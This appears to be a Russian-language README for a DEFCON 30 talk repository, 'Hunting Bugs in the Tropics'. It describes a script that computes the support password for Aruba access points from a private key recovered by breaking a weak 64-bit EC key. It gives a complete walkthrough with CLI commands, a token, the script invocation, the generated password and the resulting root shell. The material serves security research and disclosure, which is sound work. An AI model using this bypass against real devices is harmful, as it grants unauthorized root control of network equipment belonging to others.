
Вспомогательные материалы к докладу "Hunting Bugs In The Tropics" на DEFCON 30
Это репозиторий со слайдами, использованными в моём докладе «Hunting Bugs in the Tropics» на DEFCON30. В нём содержится Python-скрипт для вычисления пароля поддержки на основе закрытого ключа, полученного путём взлома открытого EC-ключа поддержки Aruba из-за его слабой длины (64 бита). Это позволяет выйти из подоболочки на этих устройствах и получить полноценную root-оболочку.
Вы можете использовать это, запустив support в CLI точки доступа и указав произвольное имя пользователя:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
затем передайте имя пользователя и значение токена скрипту support-access.py из этого репозитория.
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
Вставьте полученный ответ в качестве пароля поддержки:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root